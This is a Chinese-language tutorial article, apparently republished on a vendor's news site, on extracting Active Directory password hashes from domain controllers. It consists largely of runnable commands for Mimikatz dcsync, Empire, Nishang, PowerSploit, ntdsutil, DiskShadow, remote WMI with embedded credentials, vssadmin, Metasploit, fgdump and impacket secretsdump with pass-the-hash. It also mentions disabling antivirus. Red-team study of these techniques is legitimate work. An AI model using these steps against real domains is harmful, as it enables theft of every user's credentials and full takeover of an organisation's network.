溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何導出域密碼哈希值

發(fā)布時間:2021-12-07 10:16:42 來源:億速云 閱讀:195 作者:小新 欄目:編程語言

這篇文章主要為大家展示了“如何導出域密碼哈希值”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學習一下“如何導出域密碼哈希值”這篇文章吧。

在域內(nèi)HASH是存在NTDS.DIT中的, NTDS.DIT是一個二進制文件,就等同于本地計算機的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT。這里面包含的不只是Username和HASH,還有OU、Group等信息。

和SAM文件一樣,該文件也是被系統(tǒng)鎖定的。因此,我們也無法直接將其復制并拷貝至其它位置,以提取其中的信息。

以下是幾種最常見的被用于提取.dit文件信息的技術(shù):

1.Domain Controller Replication Services(域控制器復制服務(wù))

2.Native Windows Binaries

3.WMI

Mimikatz

Mimikatz有一個功能(dcsync),利用目錄復制服務(wù)(DRS)從NTDS.DIT文件中檢索密碼哈希值。該技術(shù)消除了直接從域控制器進行認證的必要性,因為它可以從域管理員環(huán)境中屬于域的任意系統(tǒng)執(zhí)行。因此,這也是一項用于紅隊的標準技術(shù)。

lsadump::dcsync /domain:pentestlab.local /all /csv

如何導出域密碼哈希值

通過使用/user參數(shù)指定域用戶名,Mimikatz會將該指定用戶的所有帳戶信息轉(zhuǎn)儲包括哈希值。

lsadump::dcsync /domain:pentestlab.local /user:test

如何導出域密碼哈希值

或者我們可以直接在域控制器中執(zhí)行Mimikatz,通過lsass.exe進程dump密碼哈希。

privilege::debug
lsadump::lsa /inject

如何導出域密碼哈希值

此時,將會檢索域用戶的密碼哈希值。

如何導出域密碼哈希值

Empire

PowerShell Empire有兩個模塊,可以通過DCSync攻擊檢索域哈希。 這兩個模塊都需要以域管理員的權(quán)限執(zhí)行,并且他們都使用Microsoft復制服務(wù)。這兩個模塊依賴于Invoke-Mimikatz PowerShell腳本,來執(zhí)行與DCSync相關(guān)的Mimikatz命令。以下模塊的哈希提取格式類似于Metasploit hashdump的輸出格式。

usemodule credentials/mimikatz/dcsync_hashdump

如何導出域密碼哈希值

DCSync模塊需要我們指定用戶,以提取帳戶的所有信息。

如何導出域密碼哈希值

執(zhí)行完成后,我們將獲取到以下信息:

如何導出域密碼哈希值

Nishang

Nishang是一個PowerShell攻擊框架,它是PowerShell攻擊腳本和有效載荷的一個集合,并被廣泛應(yīng)用于滲透測試的各個階段。Copy-VSS腳本可用于自動化的提取需要的文件:NTDS.DIT,SAM和SYSTEM。這些文件將被提取到當前的工作目錄或你指定的文件夾中。

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

如何導出域密碼哈希值

或者,可以通過加載PowerShell擴展,來從現(xiàn)有的Meterpreter會話中執(zhí)行腳本。

load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS

如何導出域密碼哈希值

也可以使用powershell_shell命令建立一個PowerShell會話,通過導入腳本來提取文件。

Copy-VSS
Copy-VSS -DestinationDir C:\Ninja

如何導出域密碼哈希值

PowerSploit

PowerSploit包含PowerShell腳本,該腳本使用卷影復制服務(wù)創(chuàng)建可用于提取文件的新卷。

Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy

如何導出域密碼哈希值

或者通過加載PowerShell擴展,從現(xiàn)有的Meterpreter會話中執(zhí)行。

powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy

如何導出域密碼哈希值

可以使用copy命令將文件從新卷復制到目標。

Invoke-DCSync

Invoke-DCSync是一個由Nick Landers和leverages PowerView開發(fā)的PowerShell腳本,Invoke-ReflectivePEInjection和PowerKatcher使用Mimikatz的DCSync方法來檢索哈希值。直接執(zhí)行該函數(shù)將生成以下輸出:

Invoke-DCSync

如何導出域密碼哈希值

可以看到結(jié)果是以表格的形式輸出的。如果我們添加-PWDumpFormat參數(shù),則輸出格式為user:id:lm:ntlm:::

Invoke-DCSync -PWDumpFormat

如何導出域密碼哈希值

從現(xiàn)有的Meterpreter會話中運行腳本,可以獲取到相同的輸出結(jié)果。

如何導出域密碼哈希值

添加-PWDumpFormat參數(shù)后:

如何導出域密碼哈希值

ntdsutil

ntdsutil是一個命令行工具,是域控制器生態(tài)系統(tǒng)的一部分,其主要用途是使管理員能夠輕松訪問和管理Windows Active Directory數(shù)據(jù)庫。但它常被滲透測試人員或紅隊隊員濫用來獲取現(xiàn)有的ntds.dit文件快照,并且可以將該文件復制到新的租約中,以進行離線的分析和密碼哈希的提取。

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

如何導出域密碼哈希值

它將為我們生成兩個新文件夾:Active Directory和Registry。NTDS.DIT文件將被保存到Active Directory中,而SAM和SYSTEM文件則將被保存到Registry文件夾中。

如何導出域密碼哈希值

DiskShadow

DiskShadow是一個Microsoft簽名二進制文件,用于協(xié)助管理員執(zhí)行與卷影復制服務(wù)(VSS)相關(guān)的操作。這個二進制文件有兩個模式interactive和script ,腳本將包含自動執(zhí)行NTDS.DIT提取過程所需的所有命令。我們可以在腳本文件中添加以下行,以創(chuàng)建新的volume shadow copy(卷影復制),掛載新驅(qū)動,執(zhí)行復制命令以及刪除volume shadow copy。

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

需要注意的是,DiskShadow二進制文件需要從C:\Windows\System32路徑執(zhí)行。如果從其它路徑調(diào)用它,腳本將無法正確執(zhí)行。

diskshadow.exe /s c:\diskshadow.txt

如何導出域密碼哈希值

直接從解釋器運行以下命令,將列出系統(tǒng)的所有可用volume shadow copy。

diskshadow
LIST SHADOWS ALL

如何導出域密碼哈希值

SYSTEM注冊表hive也應(yīng)該被復制,因為其包含了解密NTDS文件內(nèi)容所需的密鑰。

reg.exe save hklm\system c:\exfil\system.bak

如何導出域密碼哈希值

WMI

Sean Metcalf在他的博客中證明,可以通過WMI遠程提取NTDS.DIT和SYSTEM文件。該項技術(shù)利用vssadmin二進制文件來創(chuàng)建卷影復制。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

如何導出域密碼哈希值

然后,它將遠程執(zhí)行復制命令,并將卷影復制中的NTDS.DIT文件提取到目標系統(tǒng)上的另一個目錄中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"

如何導出域密碼哈希值

這也同樣適用于SYSTEM文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

如何導出域密碼哈希值

之后,被提取的文件將會從域控制器被傳輸?shù)搅硪粋€Windows系統(tǒng),以轉(zhuǎn)儲域密碼哈希值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp

如何導出域密碼哈希值

如果已生成黃金票據(jù),則可以使用它代替憑據(jù),通過Kerberos與域控制器進行身份驗證。

vssadmin

volume shadow copy是一個Windows命令行實用程序,管理員可以使用它備份計算機,卷以及文件(即使操作系統(tǒng)正在使用這些資源)。Volume Shadow Copy作為一個服務(wù)運行,并要求文件系統(tǒng)的格式為NTFS(默認情況下windows操作系統(tǒng)文件格式均為NTFS)。從Windows命令提示符執(zhí)行以下命令,將會創(chuàng)建一個C盤的快照,這樣我們就可以將其復制到另一個位置(如本地文件夾,網(wǎng)絡(luò)文件夾或可移動介質(zhì))以獲取它的訪問權(quán)限。

vssadmin create shadow /for=C:

如何導出域密碼哈希值

由于我們已經(jīng)將C盤中的所有文件都復制到了另一個位置(HarddiskVolumeShadowCopy1),因此它們不會被操作系統(tǒng)直接使用,我們可以隨意訪問并復制其中的文件。使用copy命令將NTDS.DIT和SYSTEM文件,復制到本地名為ShadowCopy的驅(qū)動中的新建文件夾中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

如何導出域密碼哈希值

我們需要將這些文件從域控制器復制到另一個主機以進一步的處理。

如何導出域密碼哈希值

 vssown

Tim Tomes開發(fā)了一個與vssadmin類似的實用程序vssown,它可以創(chuàng)建和刪除卷影復制,從未掛載的卷影復制運行任意可執(zhí)行文件,以及啟動和停止卷影復制服務(wù)。

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete

如何導出域密碼哈希值

所需文件可以使用copy命令來復制。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

如何導出域密碼哈希值

Metasploit

Metasploit框架中有一個模塊,可以通過SMB服務(wù)直接與域控制器進行身份驗證,創(chuàng)建系統(tǒng)驅(qū)動的卷影復制,并將NTDS.DIT和SYSTEM hive的副本下載到Metasploit目錄中。這些文件可以與impacket等其他工具一起使用,這些工具可用于執(zhí)行活動目錄密碼哈希值的提取。

auxiliary/admin/smb/psexec_ntdsgrab

如何導出域密碼哈希值

還有一個后利用模塊,可以鏈接到現(xiàn)有的Meterpreter會話,并通過ntdsutil方法檢索域哈希。

windows/gather/credentials/domain_hashdump

如何導出域密碼哈希值

或者,如果有現(xiàn)成的到域控制器的Meterpreter會話,則可以使用hashdump命令。但該方法并不安全,因為它很有可能會導致域控制器崩潰。

hashdump

如何導出域密碼哈希值

fgdump

fgdump是一個用于提取LanMan和NTLM密碼哈希值的工具。如果已獲取本地管理員憑據(jù),則可以在本地或遠程執(zhí)行。在執(zhí)行期間,fgdump將嘗試禁用系統(tǒng)上運行的殺毒軟件,如果成功,則會將所有數(shù)據(jù)寫入到兩個文件中。如果存在殺軟,則建議最好不要使用fgdump來轉(zhuǎn)儲密碼哈希。因為,大多數(shù)安全公司的殺毒軟件(包括Microsoft的Windows Defender)都對其進行了標記。

fgdump.exe

如何導出域密碼哈希值

通過檢查.pwdump文件的內(nèi)容來檢索密碼哈希值。

type 127.0.0.1.pwdump

如何導出域密碼哈希值

NTDS 竊取

Impacket是一組python腳本,可用于執(zhí)行各種任務(wù),包括提取NTDS文件的內(nèi)容。impacket-secretsdump模塊需要我們提供SYSTEM和NTDS數(shù)據(jù)庫文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

如何導出域密碼哈希值

此外,impacket可以通過使用計算機帳戶及其哈希進行身份驗證從NTDS.DIT文件遠程轉(zhuǎn)儲域密碼哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

如何導出域密碼哈希值

作為impacket的替代解決方案,NTDSDumpEx二進制文件可以從Windows主機中提取域密碼哈希值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

如何導出域密碼哈希值

還有一個shell腳本adXtract,可將用戶名和密碼哈希導出為一種可被常見的密碼破解程序使用的格式,例如John the Ripper和Hashcat。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

如何導出域密碼哈希值

該腳本將所有信息寫入項目名稱下的各個文件中,當數(shù)據(jù)庫文件NTDS的解密完成后,用戶列表和密碼哈希值將會導出到控制臺中。該腳本將為我們提供大量有關(guān)域用戶的信息,如下所示。

如何導出域密碼哈希值

密碼哈希將以下列格式顯示。

如何導出域密碼哈希值

以上是“如何導出域密碼哈希值”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI